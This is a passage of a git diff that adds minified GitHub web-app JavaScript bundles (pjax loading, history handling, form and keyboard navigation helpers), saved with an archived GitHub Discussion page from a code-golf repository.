x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const 